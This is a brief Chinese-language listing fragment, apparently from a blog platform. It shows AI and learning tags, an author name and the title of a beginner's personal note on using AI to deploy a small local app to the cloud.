人工智能·笔记·学习
笨鸟笃行15 小时前
0基础小白使用ai能力将本地跑的小应用上云(作为个人记录)
人工智能·学习